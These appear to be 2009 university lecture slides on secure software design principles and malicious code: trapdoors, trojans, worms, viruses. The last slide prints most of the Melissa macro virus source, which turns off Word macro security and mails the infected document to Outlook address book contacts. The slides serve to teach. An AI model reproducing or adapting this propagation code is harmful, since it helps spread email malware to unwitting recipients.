Announcements

• First project: Due: 6 Feb. 2009 at 11:59 p.m.
  
  • [http://www.cis.upenn.edu/~cis551/project1.html](http://www.cis.upenn.edu/~cis551/project1.html)
  
• Group project:
  – 2 or 3 students per group
  – Send e-mail to cis551@seas.upenn.edu with your group

• Plan for Today
  – Secure Software Construction Principles
  – Malicious Code
Last Time: Buffer Overflows

• Buffer overflows
  – Failure to protect the integrity of the processor’s memory.
  – Typically overwrite a code pointer: return address, callback handler, function pointer.

• Root cause of many security problems
  – Spam, worms, root kits, botnets, etc.

• Best protection:
  – Modern programming languages. (Java, C#, scripting languages, etc.)
Tool support for C/C++

- Link against "safe" versions of libc (e.g. libsafe)
- Test programs with tools such as Purify or Splint
- Compile programs using tools such as:
  - Stackguard and Pointguard (Cowan et al., immunix.org)
  - gcc's -fstack-guard and -mudflap options
- Microsoft: in house tools
  - allow programmers to add annotations that indicate buffer size information;
  - check them using code analysis tools
- Research compilers:
  - HardBound & SoftBound (Martin et al. here at Penn)
  - Ccured (Necula et al.)
  - Cyclone (Morrisett et al.)
- Binary rewriting techniques
  - Software fault isolation (Wahbe et al.)
Building Secure Software

• Source: book by John Viega and Gary McGraw
  – Copy on reserve in the library
  – Strongly recommend buying it if you care about implementing secure software.

• Designing software with security in mind

• What are the security goals and requirements?
  – Risk Assessment
  – Tradeoffs

• Why is designing secure software a hard problem?

• Design principles

• Implementation

• Testing and auditing
Security Goals

• Prevent common vulnerabilities from occurring
  – (e.g. buffer overflows)
• Recover from attacks
  – Traceability and auditing of security-relevant actions
• Monitoring
  – Detect attacks
• Privacy, confidentiality, anonymity
  – Protect secrets
• Authenticity
  – Needed for access control, authorization, etc.
• Integrity
  – Prevent unwanted modification or tampering
• Availability and reliability
  – Reduce risk of DoS
Other Software Project Goals

- Functionality
- Usability
- Efficiency
- Time-to-market
- Simplicity

- Often these conflict with security goals
  - Examples?

- So, an important part of software development is risk assessment/risk management to help determine the design choices made in light of these tradeoffs.
Risk Assessment

• Identify:
  – What needs to be protected?
  – From whom?
  – For how long?
  – How much is the protection worth?

• Refine specifications:
  – More detailed the better (e.g. "Use crypto where appropriate." vs. "Credit card numbers should be encrypted when sent over the network.")
  – How urgent are the risks?

• Follow good software engineering principles, but take into account malicious behavior.
Principles of Secure Software

• What guidelines are there for developing secure software?

• How would you go about building secure software?
Class answers:
#1: Secure the Weakest Link

- Attackers go after the easiest part of the system to attack.
  - So improving that part will improve security most.

- How do you identify it?

- Weakest link may not be a software problem.
  - Social engineering
  - Physical security

- When do you stop?
#2: Practice Defense in Depth

- Layers of security are harder to break than a single defense.

- Example: Use firewalls, and virus scanners, and encrypt traffic even if it's behind firewall
#3: Fail Securely

- Complex systems fail.
- Plan for it:
  - Aside: For a great example, see the work of George Candea who's Ph.D. research is about something called "microreboots"

- Sometimes better to crash or abort once a problem is found.
  - Letting a system continue to run after a problem could lead to worse problems.
  - But sometimes this is not an option.

- Good software design should handle failures gracefully
  - For example, handle exceptions
#4: Principle of Least Privilege

- Recall the Saltzer and Schroeder article

- Don't give a part of the system more privileges than it needs to do its job.
  - Classic example is giving root privileges to a program that doesn't need them: mail servers that don't relinquish root privileges once they're up and running on port 25.
  - Another example: Lazy Java programmer that makes all fields public to avoid writing accessor methods.

- Military's slogan: "Need to know"
#5: Compartmentalize

- As in software engineering, modularity is useful to isolate problems and mitigate failures of components.

- Good for security in general: Separation of Duties
  - Means that multiple components have to fail or collude in order for a problem to arise.
  - For example: In a bank the person who audits the accounts can't issue cashier's checks (otherwise they could cook the books).

- Good examples of compartmentalization for secure software are hard to find.
  - Negative examples?
#6: Keep it Simple

• KISS: Keep it Simple, Stupid!
• Einstein: "Make things as simple as possible, but no simpler."

• Complexity leads to bugs and bugs lead to vulnerabilities.

• Failsafe defaults: The default configuration should be secure.

• Ed Felten quote: "Given the choice between dancing pigs and security, users will pick dancing pigs every time."
#7: Promote Privacy

- Don't reveal more information than necessary
  - Related to least privileges

- Protect personal information
  - Consider implementing a web pages that accepts credit card information.
  - How should the cards be stored?
  - What tradeoffs are there w.r.t. usability?
  - What kind of authentication/access controls are there?
#8: Hiding Secrets is Hard

- The larger the secret, the harder it is to keep
  - That's why placing trust in a cryptographic key is desirable

- Security through obscurity doesn't work
  - Compiling secrets into the binary is a bad idea
  - Code obfuscation doesn't work very well
  - Reverse engineering is not that difficult
  - Software antipirating measures don't work
  - Even software on a "secure" server isn't safe (e.g. source code to Quake was stolen from id software)
#9: Be reluctant to trust

- **Trusted Computing Base**: The set of components that must function correctly in order for the system to be secure.

- The smaller the TCB, the better.
- Trust is transitive

- Be skeptical of code quality
  - Especially when obtained from elsewhere
  - Even when you write it yourself

- Eliminate trust by *verification*
#10: Use Community Resources

• Software developers are not cryptographers
  – Don't implement your own crypto
  – (e.g. bugs in Netscape's storage of user data)

• Make use of CERT, Bugtraq, developer information, etc.
Malicious code

• Attackers can remotely exploit buffer overflow vulnerabilities
  – Any program that allows remote connections is potentially a target.
  – Example: Web server processes HTTP requests taken from the network
  – Example: Mail client receives SMTP messages

• Many other forms of 'malicious' code:
  – Viruses, worms, trojan horses, Javascript on web pages, plugins or extensions for any extensible system,…
Timeline: 1975-2004

Trojan Horse 197?
Virus 1983
The Morris Worm Oct 1988
Melissa March 1999
explore.zip June 1999
911 virus April 2000
ILoveYou May 2000
Badman Trojan June 2000
Code Red July 2001
Code Red II August 2001
Sobig.F August 2003
W32/Welchia Worm
W32/Blaster Worm

2004: CERT stops reporting computer security incidents because they’re too common.

Nov 1988: CERT is created.
1994: Privatization of the Internet
1999: Morris joins MIT faculty.

1/29/09
Trapdoors

• A trapdoor is a secret entry point into a module
  – Affects a particular system

• Inserted during code development
  – Accidentally (forget to remove debugging code)
  – Intentionally (maintenance)
  – Maliciously (an insider creates a hole)
Trojan Horse

• A program that pretends to be do one thing when it does another
  – Or does more than advertised

• Login Prompts
  – Trusted path

• Accounting software

• Examples:
  – Game that doubles as a sshd process.
  – Phishing attacks (Spoofed e-mails/web sites)
Worms (In General)

- Self-contained running programs
  - Unlike viruses (although this distinction is mostly academic)

- Infection strategy more active
  - Exploit buffer overflows
  - Exploit bad password choice

- Defenses:
  - Filtering firewalls
  - Monitor system resources
  - Proper access control
Viruses

• A *computer virus* is a (malicious) program
  – Creates (possibly modified) copies of itself
  – Attaches to a host program or data
  – Often has other effects (deleting files, “jokes”, messages)

• Viruses cannot propagate without a “host”
  – Typically require some user action to activate
Virus/Worm Writer’s Goals

- Hard to detect
- Hard to destroy or deactivate
- Spreads infection widely/quickly
- Can reinfect a host
- Easy to create
- Machine/OS independent
Kinds of Viruses

• Boot Sector Viruses
  – Historically important, but less common today

• Memory Resident Viruses
  – Standard infected executable

• Macro Viruses (probably most common today)
  – Embedded in documents (like Word docs)
  – Macros are just programs
  – Word processors & Spreadsheets
    • Startup macro
    • Macros turned on by default
  – Visual Basic Script (VBScript)
Melissa Macro Virus

- Implementation
  - VBA (Visual Basic for Applications) code associated with the "document.open" method of Word

- Strategy
  - Email message containing an infected Word document as an attachment
  - Opening Word document triggers virus if macros are enabled
  - Under certain conditions included attached documents created by the victim
Melissa Macro Virus: Behavior

• Setup
  – lowers the macro security settings
  – permit all macros to run without warning
  – Checks registry for key value “… by Kwyjibo”
  – HKEY_Current_User\Software\Microsoft\Office\Melissa?

• Propagation
  – sends email message to the first 50 entries in every Microsoft Outlook MAPI address book readable by the user executing the macro
Melissa Macro Virus: Behavior

• Propagation Continued
  – Infects Normal.doc template file
  – Normal.doc is used by all Word documents

• “Joke”
  – If minute matches the day of the month, the macro inserts message “Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.”
// Melissa Virus Source Code

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
        BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
        BreakUmOffASlice.Send
        Peep = ""
    Next y
End If
DasMapiName.Logoff